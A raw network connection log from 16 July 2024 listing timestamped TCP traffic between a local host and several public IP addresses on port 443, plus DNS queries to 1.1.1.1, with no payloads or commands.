Jul 16, 2024 13:07:49.864398956 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:49.864471912 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:49.864984035 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:49.865843058 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:49.865925074 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:49.866298914 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:49.908504009 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.092741013 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.094224930 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.094285965 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.094337940 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.094367981 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.094368935 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.094398022 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.094429970 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.094448090 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.179961920 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.179980993 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.180079937 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.180102110 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.180150986 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.182189941 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.182209015 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.182282925 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.182297945 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.182327032 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.182348013 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.265579939 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.265604019 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.265665054 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.265688896 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.265721083 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.265739918 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.266606092 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.266622066 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.266707897 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.266721964 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.266807079 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.268191099 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.268208027 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.268241882 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.268254042 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.268279076 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.268299103 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.269212008 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.269233942 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.269267082 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.269278049 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.269301891 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.269326925 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.351669073 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.351685047 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.351752996 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.351768017 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.351818085 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.353365898 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.353380919 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.353450060 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.353462934 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.353507996 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.353852034 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.353866100 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.353930950 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.353944063 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.353980064 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.354257107 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.354273081 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.354342937 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.354371071 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.354453087 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.354604959 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.354618073 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.354671001 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.354681969 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.354734898 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.355508089 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.355529070 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.355614901 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.355633974 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.355657101 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.355703115 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.356445074 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.356458902 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.356513977 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.356527090 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.356738091 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.438285112 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.438309908 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.438345909 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.438366890 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.438400030 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.438416958 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.438760996 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.438776970 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.438833952 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.438844919 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.438893080 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.439313889 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.439331055 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.439379930 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.439392090 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.439419031 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.439438105 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.439752102 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.439768076 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.439815044 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.439826965 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.439913988 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:50.439954996 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.440160990 CEST	50083	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:07:50.440192938 CEST	443	50083	152.199.21.175	192.168.2.5
Jul 16, 2024 13:07:53.011418104 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.011445045 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.011542082 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.012156010 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.012172937 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.575570107 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.576370955 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.576385975 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.576747894 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.577183008 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.577239990 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.577408075 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.577435970 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.577505112 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.577521086 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.577545881 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.577564001 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.577572107 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.577585936 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.577616930 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.838772058 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.839843035 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.839927912 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.842830896 CEST	50085	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:53.842848063 CEST	443	50085	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:53.860599041 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:53.860692024 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:53.860788107 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:53.861306906 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:53.861340046 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.194519997 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:54.194549084 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:54.194619894 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:54.195071936 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:54.195086956 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:54.414824963 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:54.414860964 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:54.414922953 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:54.417484045 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:54.417499065 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:54.417550087 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:54.422688007 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:54.422703028 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:54.425385952 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:54.425396919 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:54.491009951 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.491503000 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.491554022 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.492064953 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.493046999 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.493140936 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.493238926 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.535815001 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.535835981 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.717107058 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.717187881 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.717227936 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.717292070 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.717304945 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.717407942 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:54.717458010 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.721571922 CEST	50086	443	192.168.2.5	52.108.11.12
Jul 16, 2024 13:07:54.721604109 CEST	443	50086	52.108.11.12	192.168.2.5
Jul 16, 2024 13:07:55.009845972 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.010222912 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.010262966 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.011418104 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.011774063 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.011943102 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.011948109 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.011965990 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.012051105 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.018596888 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:55.018917084 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:55.018932104 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:55.019407034 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:55.019723892 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:55.019807100 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:07:55.036525011 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.036756992 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.036775112 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.037900925 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.038311958 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.038472891 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.038480043 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.066405058 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:07:55.066567898 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.082420111 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.082432985 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.218403101 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.218523026 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.218569994 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.218611956 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.218616962 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.218663931 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.220335007 CEST	50089	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.220357895 CEST	443	50089	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.397720098 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.397732019 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.397803068 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.397814035 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:55.398011923 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.399626017 CEST	50090	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:07:55.399648905 CEST	443	50090	52.108.10.12	192.168.2.5
Jul 16, 2024 13:07:56.020278931 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.020392895 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.020498037 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.021807909 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.021843910 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.584258080 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.586572886 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.586638927 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.587846041 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.613876104 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.614064932 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.614087105 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.614110947 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.614126921 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.656503916 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.658648968 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.781394005 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.781445026 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.781512976 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.781577110 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.781622887 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:56.781624079 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.782290936 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.786844969 CEST	50091	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:56.786878109 CEST	443	50091	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:04.931505919 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:08:04.931634903 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:08:04.931700945 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:08:05.471285105 CEST	50088	443	192.168.2.5	142.250.185.196
Jul 16, 2024 13:08:05.471318007 CEST	443	50088	142.250.185.196	192.168.2.5
Jul 16, 2024 13:08:05.478890896 CEST	50102	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:05.483870029 CEST	53	50102	1.1.1.1	192.168.2.5
Jul 16, 2024 13:08:05.484162092 CEST	50102	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:05.484380960 CEST	50102	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:05.484457016 CEST	50102	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:05.491975069 CEST	53	50102	1.1.1.1	192.168.2.5
Jul 16, 2024 13:08:05.492005110 CEST	53	50102	1.1.1.1	192.168.2.5
Jul 16, 2024 13:08:06.174285889 CEST	53	50102	1.1.1.1	192.168.2.5
Jul 16, 2024 13:08:06.176284075 CEST	53	50102	1.1.1.1	192.168.2.5
Jul 16, 2024 13:08:06.176361084 CEST	50102	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:06.197844028 CEST	50102	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:06.197926998 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:06.198024988 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:06.198121071 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:06.198542118 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:06.198574066 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:06.203203917 CEST	53	50102	1.1.1.1	192.168.2.5
Jul 16, 2024 13:08:06.203274012 CEST	50102	53	192.168.2.5	1.1.1.1
Jul 16, 2024 13:08:06.762756109 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:06.763094902 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:06.763135910 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:06.764333010 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:06.764739990 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:06.764941931 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:06.764959097 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:06.764995098 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:06.765084028 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:06.809058905 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:07.001301050 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:07.001348019 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:07.001476049 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:07.001733065 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:07.001739025 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:07.001753092 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:07.002027035 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:07.002218008 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:07.002624035 CEST	50103	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:08:07.002671957 CEST	443	50103	52.108.8.12	192.168.2.5
Jul 16, 2024 13:08:07.018080950 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:07.018091917 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:07.018157005 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:07.018346071 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:07.018354893 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:07.780327082 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:07.780647039 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:07.780675888 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:07.781161070 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:07.781658888 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:07.781658888 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:07.781675100 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:07.781737089 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:07.823681116 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:07.863240004 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:07.863622904 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:07.863641977 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:07.865073919 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:07.865494967 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:07.865665913 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:07.865695953 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:07.912497997 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:07.914917946 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.145097017 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.145230055 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.145412922 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.145454884 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.145520926 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.146608114 CEST	50104	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.146631002 CEST	443	50104	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.149513006 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.149616957 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.149904966 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.149972916 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.149993896 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.163039923 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:08.163242102 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:08.163337946 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:08.164510012 CEST	50105	443	192.168.2.5	52.108.10.12
Jul 16, 2024 13:08:08.164532900 CEST	443	50105	52.108.10.12	192.168.2.5
Jul 16, 2024 13:08:08.990919113 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.991381884 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.991460085 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.992886066 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.993248940 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:08.993438005 CEST	443	50106	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:08.993460894 CEST	50106	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.012274027 CEST	50107	443	192.168.2.5	152.199.21.175
Jul 16, 2024 13:08:09.012315035 CEST	443	50107	152.199.21.175	192.168.2.5
Jul 16, 2024 13:08:09.012512922 CEST	50107	443	192.168.2.5	152.199.21.175
